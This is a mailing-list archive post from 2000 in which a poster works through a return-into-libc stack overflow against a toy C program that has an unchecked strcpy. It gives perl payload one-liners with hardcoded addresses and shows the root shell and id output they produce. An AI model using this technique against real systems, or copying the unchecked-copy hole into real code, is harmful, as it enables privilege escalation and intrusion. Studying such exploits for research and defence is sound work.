Vulnerability Development mailing list archives

Re: No-Exec Stack Smashing 101


From: lamont () ICOPYRIGHT COM (Granquist, Lamont)
Date: Thu, 20 Apr 2000 17:25:07 -0700


On Thu, 20 Apr 2000, M.C.Mar wrote:
On Thu, 20 Apr 2000 lamont () icopyright com wrote:
Also, I'm still trying to figure out what you need to make the stack look
like in order to do a return-into-libc exploit.  I've got Solar Designer's
lpr -C exploit, but I don't quite understand his comments (I mean I
understand what he's making the stack look like, but I don't understand
why).

Ok, so let me describe that :)

I will use memory memory oriented aproach, so if I say something is after

*snippage*

Most excellent.

Okay, so here's where i'm at so far.  I've got the following code that
I'm playing with:

#include <string.h>

void foo(char *string) {
  char buffer[1024];
  strcpy(buffer, string);
}

int main(int argc, char *argv[]) {
  foo(argv[1]);
}

Right now I'm just trying for a simple return-into-libc buffer overflow,
and when I do the following it works:

# ./foo `perl -e '{ print "/bin/sh;" ; print "A" x 1015; print
"\xec\xfb\xff\bf\xe0\xca\x05\x40\x41\x41\x41\x41\x81\xf4\xff\xbf"; }'`
bash#   <--- it worked, i was running /bin/csh

Or I can modify it:
# ./foo `perl -e '{ print "id;" ; print "A" x 1020; print
"\xec\xfb\xff\bf\xe0\xca\x05\x40\x41\x41\x41\x41\x81\xf4\xff\xbf"; }'`
uid=0(root) gid=0(root) groups=[...snip...]
sh: AAAAAAAAAA...
[...snip...]
...AAAAf@AAAA: command not found
Segmentation fault (core dumped)
#

I noticed that one thing you left out is that the %ebp saved on the stack
by the function that we're overflowing needs to be preserved (that's the
first 4 bytes in what I'm overflowing).  Also, I'm missing a byte
somewhere because shouldn't I be overflowing a 1024-character buffer with:

print "/bin/sh;" ; print "A" x 1016;

rather than:

print "/bin/sh;" ; print "A" x 1015;

because strlen("/bin/sh;") + 1016 = 1024?  That isn't really important,
though.

Also, another modification which I just tried which worked as expected is
replacing what I've got there as 0x41414141 with the address of exit() in
libc which is going to be the RA when the system() call returns.  That way
we get a clean exit instead of a coredump:

# ./foo `perl -e '{ print "id;" ; print "A" x 1020; print
"\xec\xfb\xff\bf\xe0\xca\x05\x40\xe0\xd1\x03\x40\x81\xf4\xff\xbf"; }'`
uid=0(root) gid=0(root) groups=[...snip...]
sh: AAAAAAAAAAAAAAAAAAA...
[...snip...]
...AAAAAAAAAAAAAf@b@: command not found
#

I can also stick a byte on the end of that and it becomes the argument
for exit() so I can control what the return value is.  Cool.

And can anyone explain why I'm not getting coredumps as a normal user
under RH6.2?  (coredumpsize is unlimited, foo is not suid)


Current thread: